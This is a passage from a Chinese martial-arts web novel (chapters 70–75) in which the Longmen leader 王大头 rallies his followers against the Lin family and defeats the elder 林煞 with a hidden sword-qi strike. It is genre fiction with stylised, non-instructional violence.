山雨欲来风满楼,林天昊的最后通牒,如同死神的丧钟,让决战的阴云,彻底笼罩了整个滨海市。
龙门,迎来了自创立以来,最大的一次生存危机!
第70章:战前动员,众志成城
林家老祖林天昊那如同最终审判般的“三日通牒”,像一块万钧巨石,沉甸甸地压在每一个龙门成员的心头。
那股令人窒息的威压虽然散去,但留下的恐惧和绝望,却如同附骨之疽,在无声地蔓延。
总部大楼内,气氛凝重得几乎能滴出水来。
一些新加入不久、心志不坚的弟子,脸上已毫无血色,眼神闪烁,甚至有人开始偷偷收拾行囊,想要趁着夜色逃离这是非之地。
恐慌如同瘟疫,在沉默中悄然传播。
然而,就在这人心惶惶的时刻,王大头的声音通过内部广播,清晰地传达到了总部的每一个角落:
“所有龙门弟子,无论内外门,十分钟后,演武堂集合。”
他的声音平静,沉稳,听不出丝毫的慌乱,就像暴风雨来临前那片异常宁静的海面,反而带着一种奇异的、安抚人心的力量。
十分钟后,巨大的演武堂内,黑压压地站满了人。
粗略看去,竟有近五百之众!
这是龙门目前所有的核心与骨干力量。
有人紧张,有人恐惧,有人愤怒,有人茫然,各种情绪交织在空气中。
王大头站在高台上,依旧是那身简单的白色练功服,身姿挺拔如松。
他身后,赵师傅拄杖而立,眼神古井无波;李雅一身干练的职业装,虽面色微微发白,却努力挺直脊梁;张猛和雷烈一左一右,如同两尊怒目金刚,尽管雷烈后背的伤势还未痊愈,纱布下隐隐渗出血迹,但他站得比谁都直。
目光扫过台下那一张张或熟悉或陌生的面孔,王大头深吸一口气,没有使用任何扩音设备,但声音却如同擂鼓,清晰地传入每个人耳中,带着一股不容置疑的内力加持:
“兄弟们。”
简单的三个字,让嘈杂的现场瞬间安静下来,所有目光都聚焦在他身上。
“我知道,大家现在心里在想什么。”
王大头的声音很平静,像是在陈述一个事实,“害怕,恐惧,甚至……想离开。”
他毫不避讳地说出了许多人心中最隐秘的想法,让台下不少人低下了头,不敢与他对视。
“这很正常。”
王大头话锋一转,“面对林家那样的庞然大物,面对三位化劲宗师,尤其是一位可能超越化劲的老祖,没有人会不害怕。我王大头,也怕。”
他坦言自己也害怕,这出乎所有人的意料,却莫名地拉近了距离,让人感觉真实。
“但是!”
他的声音陡然拔高,目光变得锐利如鹰,扫视全场,“害怕,就能解决问题吗?退缩,林家就会放过我们吗?”
“不会!”
台下,张猛猛地发出一声怒吼,如同虎啸,打破了沉寂。
王大头看向张猛,点了点头,继续道:“猛子说得对!不会!林家要的,是跪着生,是摇尾乞怜,是交出我们好不容易打拼来的一切,是自废武功,是解散龙门!是要把我们彻底踩进泥里,永世不得翻身!”
他的话语如同重锤,敲击着每个人的心灵,点燃了潜藏在恐惧之下的不甘与愤怒。
“我们龙门,是怎么成立的?”
王大头的声音带着追忆,“是因为我们不想再被人欺负!是因为我们想用自己的拳头,打出一片天,守护想守护的人!是因为我们相信,忠义为本,自强不息!”
“我们从送外卖开始,从地下拳场一步步爬起来,面对过陈少那样的纨绔,面对过林家的打压和刺杀!我们流过血,流过汗,甚至差点丢了命!但我们挺过来了!为什么?”
他猛地向前踏出一步,一股强大的、不屈的意志如同熊熊烈火,从他身上升腾而起,驱散着弥漫在空气中的恐惧阴霾:
“就是因为我们没有跪!因为我们龙门,没有孬种!”
“轰!”
这句话,如同一点火星掉入了滚油之中,瞬间点燃了所有人压抑的情绪!
“对!龙门没有孬种!”
“妈的!跟他们拼了!”
“人死卵朝天!怕个逑!”
“龙头!我们跟你干!”
台下,吼声如雷,此起彼伏。
那些原本恐惧的眼神,逐渐被疯狂的战意所取代;那些颤抖的身体,重新挺直了脊梁!
尤其是早期跟随王大头、经历过血与火考验的成员,更是双目赤红,杀气腾腾。
雷烈忍着背上的剧痛,举起砂锅大的拳头,嘶声怒吼:“脑袋掉了碗大个疤!十八年后又是一条好汉!干**!”
他这一声粗犷的呐喊,更是将气氛推向了高潮!
“干**!”
“干**!”
演武堂内,声浪震天,战意冲霄!
王大头看着台下群情激昂的众人,心中也是热血奔涌。他抬起手,向下压了压,声音再次响起,带着决绝的意味:
“好!既然大家都选择留下,选择与龙门共存
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亡!那我王大头在此立誓!”
他目光如电,一字一句,铿锵有力:
“龙门在,我在!”
“龙门亡,我亡!”
“此战,我与诸位,同生共死!”
“同生共死!”
“同生共死!”
震耳欲聋的呐喊声,几乎要掀翻演武堂的屋顶。
这一刻,所有的恐惧和犹豫都被抛到了九霄云外,只剩下破釜沉舟、背水一战的决绝!
一股强大的凝聚力,如同无形的磁场,将所有人的心紧紧联系在一起。
李雅看着台上那个仿佛在发光的身影,看着他以个人魅力将一盘散沙凝聚成铁板一块,眼中充满了自豪与爱恋,还有一丝深藏的担忧,化为了更坚定的支持。
赵师傅微微颔首,浑浊的老眼中闪过一丝欣慰。
临战而不乱,遇强而不畏,能聚人心,此子已具雄主之姿。
“现在,我命令!”
王大头开始部署,“赵师傅,统筹全局,坐镇中枢,监察堂负责内部秩序,若有临阵脱逃、扰乱军心者,格杀勿论!”
“是!”
赵师傅肃然领命。
“李雅,带领后勤组,将所有库存的疗伤药、补充气血的药材全部分发下去!同时,启动紧急预案,将非战斗人员、重要资料秘密转移!”
“明白!”
李雅重重点头,立刻转身去安排。
“张猛!雷烈!”
“在!”
两人踏前一步,声如洪钟。
“由你二人统领所有战斗人员!张猛为主,雷烈为辅!按照之前演练的‘三才御敌阵’和‘游斗袭扰战术’,立刻进行战前强化训练和布防!将总部外围打造成铁桶阵!”
“遵命!”
张猛和雷烈抱拳,眼中燃烧着战火。
“其余人等,各司其职,检查兵器,调整状态!我们要让林家知道,龙门,不是一块任人宰割的肥肉,而是一块能崩掉他们满口牙的硬骨头!”
“是!!!”
众人齐声应诺,声浪如潮。
随即,在张猛和雷烈的吼叫声中,所有人如同上紧了发条的机器,迅速而有序地行动起来。
演武堂内很快空了下来,只剩下浓得化不开的战意在空中弥漫。
张猛看着迅速行动起来的众人,猛地一挥拳头,发出震**吼:“龙门没有孬种!干**!”这声怒吼,如同出征的号角,预示着一场血战,即将来临!
第71章:林煞长老,化劲之威
三日时间,转瞬即逝。
这三天,龙门总部仿佛一个高速运转的战争堡垒。
阵法布设,陷阱挖掘,**调试,弟子们不分昼夜地演练合击之术,空气中弥漫着硝烟和铁血的味道。
所有人的神经都紧绷到了极点。
王大头这三天则几乎足不出户,待在静室之中。
他并未盲目冲击那看似触手可及,实则坚固异常的先天瓶颈,而是不断地打磨自身内力,将那一甲子的功力锤炼得更加精纯凝练,同时反复推演《星辰观想法》,提升精神感知,并将自身所学的八极拳、赵师傅传授的掌法以及系统奖励的一些零散招式,去芜存菁,融会贯通。
他知道,面对林家老祖那等存在,任何一丝浮躁和破绽,都可能万劫不复。
第三天,正午。
烈日当空,但龙门总部周围却弥漫着一股诡异的寂静。
连蝉鸣鸟叫都消失了,仿佛所有的生灵都预感到了灾难的降临,提前躲藏了起来。
突然——
“嗡!”
一股远比三天前更加凌厉、更加凝聚、充满了血腥杀伐之气的恐怖威压,如同精准制导的**,轰然降临,死死锁定龙门总部大门区域!
这一次,威压的源头并非铺天盖地,而是高度集中,带来的压迫感却更甚!
大门附近负责警戒的几名外门弟子,连哼都没哼一声,直接双眼翻白,口鼻溢血,瘫软在地,昏迷过去!
“来了!”
总部指挥室内,通过监控看到这一幕的赵师傅,脸色一沉。
几乎是同时,一道如同鬼魅般的身影,伴随着撕裂空气的尖啸,由远及近,几乎是瞬息间,便出现在了龙门总部大门之外,稳稳站定。
来人身形干瘦,穿着灰色的劲装,正是林煞!
与三日前相比,他肩胛的伤势似乎已经愈合,但脸色依旧带着一丝不正常的苍白,可那双眼睛里的怨毒和杀意,却几乎要凝成实质,喷薄而出!
他仅仅只是站在那里,周身散发出的阴冷气息,就让大门周围的空气温度骤降,地面甚至凝结出了一层薄薄的白霜!
那属于化劲宗师的强大气场,如同一个无形的领域,笼罩了方圆数十米,领域之内,草木低伏,砖石哀鸣!
“蹬蹬蹬!”
沉重的脚步声响起。
张猛和雷烈率领着超过两百名龙门精锐弟子,如同潮水般从大门内涌出,迅速结成战阵,刀出鞘,**上弦,杀气腾腾地对准了孤身一人的林煞!
然而,面对这森严的阵势,林煞连眼皮都未曾抬一下。
他的目光,如同两把冰锥,直接穿透了重重人群,仿佛看到了总部大楼深处的王大头。
他缓缓抬起一只枯瘦的手掌,五指微微弯曲,指尖有幽蓝色的气芒吞吐不定,发出“嗤嗤”的声响,仿佛连空气都能冻结、撕裂。
然后,他开口了,声音沙哑、冰冷,不带一丝人类的情感,如同九幽寒风吹过:
“王大头,时辰已到。”
“出来受死!”
这五个字,如同蕴含着某种奇异的魔力,带着凌厉的精神冲击,穿透建筑,清晰地回荡在每一个龙门成员的耳边,让不少人气血翻腾,脸色发白。
“狂妄!”
张猛怒吼一声,就要上前。
“猛子!”
雷烈一把拉住他,铜铃大的眼睛里充满了凝重,“别冲动!这老家伙的气息比上次更可怕了!他在故意激龙头出来!”
指挥室内,李雅紧张地握紧了拳头,指甲几乎掐进肉里。
静室中,王大头缓缓睁开了眼睛。眸中一片平静,如同无风的湖面。他整理了一下身上的白色练功服,站起身。
“大头,小心!林煞的气息不对,他可能用了某种激发潜能的秘法,短时间内实力更胜从前!”
赵师傅的声音通过内部通讯传来,带着一丝急切。
“我知道了,师傅。”
王大头回应道,语气依旧平稳。
他一步步走出静室,穿过严阵以待、目光充满担忧与决绝的龙门弟子人群,走向大门。
他所过之处,弟子们自动分开一条道路,目光追随着他的背影,充满了信任与希冀。他是龙头的魂,是他们的支柱!
走到阵前,与张猛、雷烈并肩而立。
王大头看向门外的林煞,两人的目光在空中碰撞,仿佛有无形的火花溅射。
“林煞长老,别来无恙。”
王大头淡淡开口,“看来上次的教训,还不
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够深刻。”
这句话,如同点燃了**桶!
林煞那原本就阴鸷无比的脸,瞬间扭曲,眼中的怨毒几乎要溢出来!
肩胛处那早已愈合的伤口,似乎又开始隐隐作痛,那是他毕生的耻辱!
“小杂种!死到临头还敢牙尖嘴利!”
林煞发出一声尖锐的厉啸,“今日,老夫便要剥你的皮,抽你的筋,将你挫骨扬灰!以泄我心头之恨!”
话音未落,他动了!
没有丝毫征兆,他干瘦的身形如同瞬移般,原地消失,下一刹那,已然出现在龙门大门上空!
速度快到极致,留下了道道残影!
他居高临下,枯瘦的手掌猛地向下一按!
“玄冥煞掌!”
轰!
一股幽蓝色的、蕴含着极致阴寒与腐蚀力量的磅礴掌力,如同天河倒泻,又如同万丈冰崖崩塌,带着冻结灵魂、湮灭生机的恐怖气息,朝着下方整个龙门前锋战阵,覆盖而下!
掌风未至,那可怕的寒意已经让前排的弟子眉毛头发结霜,动作变得僵硬迟缓,体内的血液仿佛都要被冻僵!
连张猛和雷烈这样的高手,都感到呼吸一窒,行动受阻!
化劲之威,一至于斯!
这一掌,林煞含怒而发,毫无保留,就是要当着王大头的面,先碾死他这些忠心耿耿的手下,摧毁龙门的士气!
“结阵!御!”
张猛目眦欲裂,狂吼出声!
前排的弟子们拼命催动内力,按照演练已久的阵法,气机相连,试图凝聚成一道无形的气墙抵挡。
然而,在绝对的力量差距面前,阵法显得如此脆弱!
“咔嚓!”
幽蓝掌力与无形气墙接触的瞬间,气墙如同玻璃般寸寸碎裂!
前排数十名弟子如遭重击,齐齐喷血倒飞出去,人在空中,身体表面就覆盖上了一层冰霜,落地后已是气息奄奄!
仅仅一掌!
龙门精心布置的前锋战阵,瞬间告破!
林煞悬浮半空,灰衣猎猎,如同魔神,冰冷的目光越过混乱的人群,再次锁定王大头:
“蝼蚁就是蝼蚁!王大头,你若再不出来,老夫便一掌一掌,将你这龙门,夷为平地!杀光你所有的手下!”
第72章:初战化劲,科学周旋
林煞立于半空,声如寒冰,杀意滔天:“王大头,出来受死!”
恐怖的化劲之威,笼罩全场,逼迫王大头不得不战!
林煞!
那如同幽冥鬼爪般的一掌,携着冻结血液、腐蚀经脉的玄冥煞气,不仅瞬间击溃了龙门前锋战阵,更带着余威,如同跗骨之蛆,直扑阵后的王大头!
掌风所过之处,地面凝结出厚厚的冰层,空气发出被冻结的“咔咔”声响。
这一掌,不仅是力量的碾压,更是心态的打击。
林煞就是要当着所有龙门弟子的面,将他们视为希望的龙头,如同拍苍蝇一样拍死!
“龙头!”
“大头哥!”
张猛、雷烈目眦欲裂,想要上前阻拦,但那恐怖的化劲领域威压和玄冥煞气的余波,让他们如同陷入泥沼,动作慢了何止一拍!
只能眼睁睁看着那幽蓝色的死亡掌印,笼罩向王大头。
就在这千钧一发之际!
王大头动了!
他没有选择硬撼,而是双脚猛地踩踏地面,并非简单的发力蹬地,而是运用了物理学中的反作用力原理,结合流体力学减少空气阻力,身体如同失去了重量般,以一种违背常理的、近乎滑翔的轨迹,向侧后方飘退!
《星辰观想法》运转到极致,精神力如同最精密的雷达,瞬间捕捉到玄冥煞掌力量最薄弱、寒气分布最稀疏的节点。
他的后退轨迹,正是沿着这个节点切入!
“嗤——!”
幽蓝掌力几乎是擦着他的胸前衣襟掠过,那极致的寒气让他胸前的白色练功服瞬间覆盖上一层白霜,甚至出现了细微的冰冻裂痕!
但他的人,却险之又险地避开了这必杀的一击!
掌力落空,轰击在王大头原本站立位置后方的一处假山上。
“轰隆!”
一人多高的假山瞬间被幽蓝色的冰层覆盖,紧接着,内部结构在煞气侵蚀下发出不堪重负的**,轰然炸裂,化为无数冻结的碎石!
看到王大头竟然躲开了这必杀一掌,龙门弟子们爆发出劫后余生的欢呼,而林煞的瞳孔则是猛地一缩。
“咦?”
他发出一声轻咦,显然没料到王大头的身法如此诡异精妙,竟能看穿他掌力中的细微破绽。
“老狗,你的掌法,破绽百出!”
王大头稳住身形,轻轻掸去胸前的冰霜,语气带着刻意的嘲讽。
他深知,面对林煞这种老牌化劲,修为和经验自己都处于劣势,必须激怒他,让他在愤怒间出现更多失误。
“小畜生,找死!”
林煞果然被激怒,身形再次晃动,如同鬼魅般拉出一串残影,瞬间欺近王大头身前五尺!
双掌齐出,掌影漫天,如同无数来自九幽的鬼爪,带着凄厉的呼啸,将王大头周身所有闪避空间尽数封锁!
“玄冥鬼爪·百鬼夜行!”
每一道掌影都凝实无比,蕴含着阴寒刺骨的煞气和撕裂金铁的锋锐!
这是林煞的成名绝技,曾经凭此一招重创过同阶高手!
面对这避无可避的一招,王大头眼神凝重到了极点。
他体内一甲子的内力以前所未有的速度奔腾起来,科学优化后的周天循环法让他的内力爆发力和持久力远超同阶。
同时,《星辰观想法》疯狂预警,在他的意识海中,那漫天掌影不再是无法分辨的恐怖攻击,而是被分解成无数条力量运行的轨迹线!
“左肩三分,力道七成,虚招!”
“右肋下两寸,力道十成,杀招!”
“眉心……诱饵!”
大脑如同超频运行的计算机,瞬间分析出无数信息!
这得益于他强大的精神力,以及将武学招式用物理模型进行解构的独特思维方式!
“嗖!”
间不容发之际,王大头动了!
他没有试图格挡所有掌影,那是不可能的。
他的身体如同狂风中的柳絮,又如同精准操控的机器人,以最小的幅度,在最关键的节点进行移动和闪避。
侧头!
一道掌风擦着耳廓掠过,带起几缕发丝,瞬间冻结成冰。<
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br>拧身!
一道幽蓝指风贴着腰间划过,将衣服撕裂,皮肤上传来火辣辣的刺痛和寒意。
屈膝!
后仰!
一道凝实的掌印几乎贴着鼻尖轰过,将他身后的一块青石板打得粉碎,冰屑四溅!
他的动作看起来惊险万分,每一次都像是在刀尖上跳舞,仿佛下一秒就会被那无数的鬼爪撕成碎片!
观战的龙门弟子们心都提到了嗓子眼,李雅更是死死捂住嘴,不敢发出一点声音。
然而,他偏偏就在这**般的攻击中,如同暴风雨海面上的一叶扁舟,虽然颠簸欲覆,却总能在最关键的时刻找到那一线生机!
“怎么可能?!”
林煞越打越是心惊。
他这套“百鬼夜行”施展出来,同阶之中少有人能完全避开,更别说一个初入化劲的小辈!
对方的身法并不算多么高明,但那份预判和时机的把握,简直精准得可怕!
仿佛能未卜先知,总能在他力量将发未发、旧力已尽新力未生的最关键节点进行规避!
这已经不是武学范畴的能力了,更像是一种……计算?
“只会躲躲藏藏,像只老鼠一样!我看你能躲到几时!”
林煞久攻不下,心中焦躁,攻势越发狂暴,内力不计消耗地倾泻而出,试图以绝对的力量和速度,压缩王大头的闪避空间。
“嗤啦!”
一道凝练如实质的幽蓝爪风终于抓住了王大头一个细微的破绽,虽然他极力闪避,但爪风边缘还是擦过了他的左肩。
一股钻心的刺痛和冰寒瞬间传入体内!
白色练功服被撕裂,肩膀上出现了五道深可见骨的血痕,伤口周围的血液瞬间被冻结,皮肉呈现出一种诡异的青黑色,并且那阴寒的煞气如同活物般,试图沿着经脉向体内侵蚀!
王大头闷哼一声,脚下一点,迅速与林煞拉开距离,体内纯阳内力迅速涌向肩头,驱散着那股阴寒煞气,伤口处的青黑色以肉眼可见的速度消退,但鲜血依旧汩汩流出,染红了半边衣袖。
第73章:以伤换招,窥得破绽
林煞见状,终于停下了**般的攻击,悬浮于空,看着王大头肩膀上那刺目的血迹,脸上露出了残忍而得意的冷笑:
“小杂种,身法不错,可惜,修为太浅!中了我的玄冥煞气,滋味不好受吧?”
“我看你,还能躲几招!”
他舔了舔有些干枯的嘴唇,眼中的杀意如同实质。
他确信,只要再纠缠下去,对方内力消耗加剧,煞气侵入心脉,必死无疑!
林煞一掌擦过王大头肩膀,留下一道狰狞血痕,冷笑道:“看你还能躲几招!”
伤势与煞气入侵,让王大头的处境瞬间变得岌岌可危。
左肩传来的剧痛和那股如同毒蛇般试图钻入心脉的阴寒煞气,让王大头的额头渗出了细密的冷汗。
他运转内力强行压制,但动作不可避免地出现了一丝凝滞。
林煞的战斗经验何等丰富,立刻抓住了这稍纵即逝的机会!
“玄冥指!”
他并指如剑,隔空一点!一道凝练到极致,几乎细不可见的幽蓝寒芒,如同突破了空间的距离,瞬间出现在王大头胸前膻中穴之前!
速度之快,远超之前的掌法!
这一指,汇聚了林煞精纯的玄冥煞气,专破内家护体罡气,若是点实,足以瞬间冻结心脉,震碎五脏!
“不好!”
台下观战的赵师傅脸色骤变,手中的拐杖猛地一顿地。
“大头!”
李雅失声惊呼,几乎要冲出去。
张猛和雷烈更是怒吼着想要上前,却被那恐怖的化劲领域死死压制,难以动弹。
避不开!
《星辰观想法》给出了清晰的预警!
这一指的速度和锁定,已经超越了他目前身法闪避的极限!
电光火石之间,一个极其冒险、甚至可以说是疯狂的念头,如同闪电般划过王大头的脑海!
既然避不开,那就不避!
不仅要接下,还要利用这一指!
在这生死一线的关头,他的大脑冷静得可怕。
所有的计算、所有的分析都在瞬间完成。
他观察到,林煞在施展这绝杀一指时,为了追求极致的速度和穿透力,其自身内力运转会出现一个极其短暂、几乎无法察觉的、专注于攻击而导致的防御空档!
这个空档,就在他出指的瞬间,位于其自身左肋下方三分之处!
这个破绽转瞬即逝,正常情况下,即使同阶高手发现,也未必能抓住。
但王大头不同,他有《星辰观想法》带来的超强预判和洞察,更有……一个一直被隐藏的**锏!
赌了!
心中决断已下,王大头眼中闪过一丝狠厉!
他非但没有竭力闪避,反而在最后关头,微微调整了一下身体的姿态,将胸膛要害稍稍偏转,同时,体内内力并非全力防御膻中穴,而是悄然凝聚于右手食指与中指之间!
“噗!”
如同烧红的烙铁插入冰雪的声音响起。
那道凝练的幽蓝指芒,精准地命中了王大头的右胸偏左的位置,并未直接击中膻中死穴,但恐怖的指力依旧瞬间洞穿了他的护体罡气,透体而入!
“呃啊!”
王大头如遭重击,身体剧震,猛地张口喷出一股滚烫的鲜血!
那鲜血在空中就迅速凝结成冰晶,砸落在地,发出“噼啪”的脆响!
一股比之前强烈十倍的阴寒煞气,如同决堤的洪水,瞬间涌入他的体内,疯狂破坏着他的经脉,冻结他的血液,直逼心脏而去!
他的脸色瞬间变得惨白如纸,身体摇晃,似乎随时都会倒下。
“大头!”
“龙头!”
看到王大头吐血重伤,所有龙门弟子的心都沉到了谷底,悲愤的呼喊声响成一片。
李雅眼前一黑,差点晕厥,被旁边的赵师傅一把扶住。
张猛和雷烈更是目眦欲裂,拼命挣扎,想要冲破领域压制。
“哈哈哈哈!”
林煞发出一阵得意而残忍的狂笑,看着王大头那副重伤濒死的模样,心中积郁的恶气终于得到了宣泄,“小杂种,中了老夫的玄冥指,煞气攻心,神仙难救!这就是你得罪林家的下场!”
他确信,王大头已经完了。
没有人能在中了全力施展的玄冥指后还能活下来,那阴寒煞气会由内而外,将其彻底冻成一具冰雕!
然而,就在他心神最为松懈,因为胜券在握而露出一丝破绽的瞬间!
就在那侵入体内的玄冥煞气即将触及心脏,王大头的精神力却在这一刻凝聚到了极致,如同最精准的手术刀,引导着体内那濒临崩溃的内力,做出了一个违背武学常理的动作!
他并没
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有全力去抵御心脉处的煞气,而是将大部分残余的内力,连同那股侵入体内的、极度冰寒的玄冥煞气本身,以一种玄奥的方式强行引导、压缩,汇聚向了他早已蓄势待发的右手双指!
以彼之道,还施彼身!借力打力!
与此同时,他那原本因为重伤而显得涣散的眼神,在这一刹那爆发出前所未有的锐利精光,如同暗夜中划破长空的闪电,死死地锁定了林煞因为狂笑而微微暴露的左肋下方,那处几乎不存在的防御空档!
就是这里!
他找到了!那转瞬即逝的、唯一的胜机!
林煞的笑声戛然而止。
他感受到了王大头眼神的变化,那不像是一个将死之人的眼神,反而像是一个潜伏已久、终于等到猎物露出致命破绽的猎手!
一股极度危险的预感,如同冰水般瞬间浇遍全身!
“你……”
他脸色剧变,想要有所动作。
但,已经晚了!
王大头凝聚了全身残余力量、甚至借用了部分侵入体内玄冥煞气的右手双指,并指如剑,隔空,朝着林煞左肋下那处空档,轻轻一点!
这一指,看似轻描淡写,没有任何浩大的声势,甚至没有凌厉的指风射出。
但就在他点出的瞬间,林煞左肋下的空气,仿佛被一股无形而凝聚到极点的力量骤然贯穿、撕裂!
他眼中精光一闪,锁定了那唯一的破绽:“就是这里!”
并指如剑,点向林煞左肋!
这汇聚了残余内力与部分玄冥煞气的绝地反击,能否创造奇迹?
寒风卷过龙门总部前的广场,刮起地面细微的冰晶。
林煞那一指,无声无息,却并非无力。
恰恰相反,那是将毕生功力、周身煞气、乃至他那扭曲的意志,都压缩到极致的一点寒芒!
指风过处,空气仿佛被冻结、抽空,留下一道肉眼几不可见的扭曲轨迹,直取王大头眉心!
这一指,比之前更快、更毒、更绝!是真正凝聚了化劲宗师杀意的一击!
王大头浑身剧痛,右胸的血洞仍在渗出带着冰碴的血液,玄冥煞气如同无数细小的毒蛇,在他经脉中疯狂啃噬、冻结。
他的视线已经开始模糊,林煞那干瘦的身影在眼中似乎出现了重影。
‘要结束了吗?’
第74章:护身剑气,再建奇功!
一个念头不受控制地闪过。
不!
就在这生死一瞬,他几乎崩散的意志力爆发出最后的强光!
他想起了张猛、雷烈这些兄弟拼死守护的背影,想起了李雅那含泪却坚定的眼眸,想起了赵师傅沉静中带着期许的目光,更想起了身后那些信任他、追随他的龙门子弟!
他不能倒在这里!龙门,不能倒!
“吼!”
一声压抑到极致的低吼从他喉咙深处迸发,如同濒死野兽的咆哮!
他几乎榨干了丹田最后一丝内力,不顾经脉传来撕裂般的剧痛,强行抬起了右手食指。
这一指,看似缓慢,却凝聚了他不屈的意志、残存的内力,以及那侵入体内、尚未被完全转化的部分玄冥煞气!
它不是攻击,而是一个引信,一个沟通体内那神秘系统的桥梁,一个引爆最终底牌的——开关!
目标,并非林煞那凌厉的指风,而是他因狂笑而微微敞开、旧力刚去新力未生的左肋空门!
更准确地说,是直指其气海枢纽!
“铮——!”
一声清越如九天龙吟的剑鸣,毫无征兆地炸响!
这声音并不震耳,却带着一种斩断束缚、破灭万法的绝对锋锐,瞬间刺透了林煞那阴寒粘稠的化劲领域,清晰地传入在场每一个人的耳中!
一道凝练如实质、长约三尺、通体流淌着朦胧白色毫芒的剑气,自王大头身前虚空凭空而生!
剑气出现的刹那,周遭光线都为之一暗,仿佛所有的光芒都被这道剑气所吞噬!
空气中弥漫的玄冥煞气如同积雪遇上烈阳,发出“嗤嗤”的哀鸣,迅速消融退散!地面凝结的厚厚冰霜,更是在剑气自然散发的无形锋锐之意下,悄然化为乌有,露出下方干涸的地面!
这道剑气,形态古朴,似剑非剑,其上有微光流转,细看之下,仿佛有无数细密无比的符文在明灭生息。
它散发出的气息,纯粹、古老、至高无上,带着一种源自规则层面的压迫感,与王大头自身修炼的内力截然不同!
快!超越思维极限的快!
剑气凝聚与激发,几乎不存在时间间隔!仿佛它本就该出现在那里,贯穿一切阻碍!
众人只觉得眼前一花,那冰冷的、散发着灭绝气息的剑尖,已然跨越了数丈距离,出现在了林煞的左肋之下,距离其气海要害不足三寸!
“什么?!!”
林煞脸上的狞笑和猫捉老鼠般的戏谑瞬间冻结!
取而代之的是一种极致的、几乎冲破眼眶的惊骇与难以置信!
他全身的汗**,乃至那稀疏的白发,都在这一刹那根根倒竖!
一股冰冷彻骨、足以冻结灵魂的死亡阴影,如同九幽之下的寒风,瞬间将他这位纵横近百年的化劲宗师彻底吞噬!
他完全无法理解!
这根本不合常理!
一个中了玄冥指,煞气攻心,内力近乎枯竭,明明应该任他宰割的小辈,怎么可能还能发出攻击?而且不是普通的攻击,是剑气!
如此纯粹、如此凝练、如此迅疾、让他灵魂都在颤栗的恐怖剑气!
这剑气的气息……他依稀记得!
与上次重伤他手臂的那一道同源,但更加凝实,更加恐怖!
这小子身上到底有什么秘密?!
“不可能!!!”
惊骇欲绝的咆哮声撕裂了林煞的喉咙!
在求生本能的驱动下,他展现出了老牌宗师堪称恐怖的应变能力!
什么高手风范,什么颜面尊严,在死亡面前都是狗屁!
“咔嚓!咔嚓!”
他体内原本如江河奔涌、正准备回气蓄势的内力,被强行、粗暴地逆转!
经脉因这违背常理的运转而发出不堪重负的**,甚至出现了细微的撕裂!
剧痛传来,但他顾不上了!
同时,他那干瘦如同骷髅的身体,以一种近乎扭曲的、违背人体结构的诡异角度,拼命地向右侧扭动、蜷缩!
试图将气海穴这致命要害从剑气的锁定下移开!
他甚至不惜将凝聚于右掌,准备在指出后顺势拍碎王大头天灵盖的残余内力,仓促间全部收拢,疯狂地压向左肋前方,形成一层幽蓝色、不断剧烈波动、明显不稳的玄冥护体罡气!
这一切的挣扎与反应,都发生在百分之一,甚至千分之一秒内!
快得超出了绝大多数旁观者的视觉捕捉能力!
然而——
“噗——!”
一声轻微却令人心悸的闷响。
那层仓促布下、足以抵挡寻常刀剑火炮轰击的玄冥护体罡气,在那道凝练的白色剑气面前,脆弱得如同阳光下的肥皂泡,连一瞬间的阻碍都未能形成,便被无声无息地洞穿、撕裂,化作漫天流萤般的幽蓝光点,溃散消失!
紧接着——
“嗤啦!”
血光,如同妖艳的彼岸花,骤然在林煞左肩胛骨偏下的位置迸溅开来!
“呃啊啊啊——!!!”
凄厉到不似人声的惨叫,猛地从林煞喉咙里爆发出来,声音中充满了痛苦、惊怒、以及一丝深入骨髓的恐惧!
尽管他做出了极限闪避,但那道剑气实在太快太厉!
终究未能完全避开!
剑气并未直接命中气海穴,而是擦着边缘,狠狠地贯穿了他的左肩肩胛!
一个对发力、运转内力都至关重要的枢纽位置!
剑气透体而过,在他肩后带出一蓬血雨。那伤口处,皮肉翻卷,骨
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头可见,但更可怕的是,残留的锋锐剑气如同拥有生命般,化作无数细小的剑丝,在他伤口附近的经脉、血管、骨骼中疯狂窜动、切割、肆虐!
带来一波强过一波、永无止境般的钻心剧痛!
不仅如此,剑气中蕴含的那股破灭一切、斩断根源的规则气息,如同最致命的毒素,开始侵蚀、瓦解他苦修近一个甲子的玄冥内力根基!
他清晰地感觉到,左半边身体的内力运转瞬间变得滞涩、紊乱,仿佛一条被堵塞了大半的河流!
重伤!毋庸置疑的重伤!
这不仅仅是肉体上的创伤,更是对其实力根基的一次沉重打击!
远比王大头胸前那看似恐怖的指洞伤势要严重得多!
王大头的伤在于外部破坏和煞气侵蚀,尚有法可想;而林煞的伤,是物理重创叠加内力根基动摇,伤及了本源!
“噗!”林煞自己也无法压制体内翻腾的气血,猛地喷出一大口鲜血,脸色瞬间由之前的阴鸷转为骇人的金纸色,气息如同泄气的皮球,急剧衰败下去!
他原本凭借化劲修为悬浮离地三寸的身影一阵剧烈摇晃,终于无法维持,“砰”地一声,双脚踉跄落地,险些直接栽倒!
他死死捂住左肩那不断涌出鲜血、甚至隐隐有白色剑气逸散的伤口,抬起头,看向不远处单膝跪地的王大头,眼神复杂到了极点——
有滔天的怨毒,有蚀骨的惊惧,有败于小辈的羞愤,更有一种对那神秘剑气的、挥之不去的茫然与贪婪。
他输了!他竟然在绝对优势下,再一次输给了这个小子!
而且比上次伤得更重,败得更惨!
奇耻大辱!刻骨铭心!
整个龙门总部前方,陷入了一种极致的、落针可闻的死寂。
风似乎都停止了流动,唯有空气中尚未完全散去的血腥味和冰寒气息,证明着刚才发生的一切并非幻觉。
所有目睹这一幕的人,无论是明处的龙门弟子,还是可能隐藏在远处建筑缝隙中的各方势力眼线,全都如同被施了定身法,僵立在原地,大脑被那惊天逆转冲击得一片空白。
时间,仿佛被拉长、凝固。
他们看到了什么?
前一刻,林家煞长老还如同掌控生死的幽冥判官,一记玄冥指将龙门龙头王大头打得吐血重伤,胜券在握,杀气腾腾。
下一刻,那本该濒死的王大头,竟绝地反击,以身作饵,诱敌深入,爆发出那一道惊艳绝伦、摧枯拉朽的白色剑气,反将不可一世的林煞长老贯穿肩胛,打得其吐血败退!
这逆转,太过突兀!太过震撼!太过……不可思议!
足足过了三四秒,死寂才被打破。
“呃……啊?”
第75章:剑气穿肩,长老败退!
张猛那张粗犷的脸上,嘴巴张得能吞下自己的拳头,一双牛眼瞪得溜圆,里面写满了“我是谁?我在哪?刚才发生了什么?”的茫然。
他下意识地掐了一把旁边雷烈的胳膊。
“嘶——”
雷烈倒抽一口凉气,背上的伤口都被牵扯得一阵剧痛,但这疼痛也让他瞬间清醒过来。
他不是在做梦!
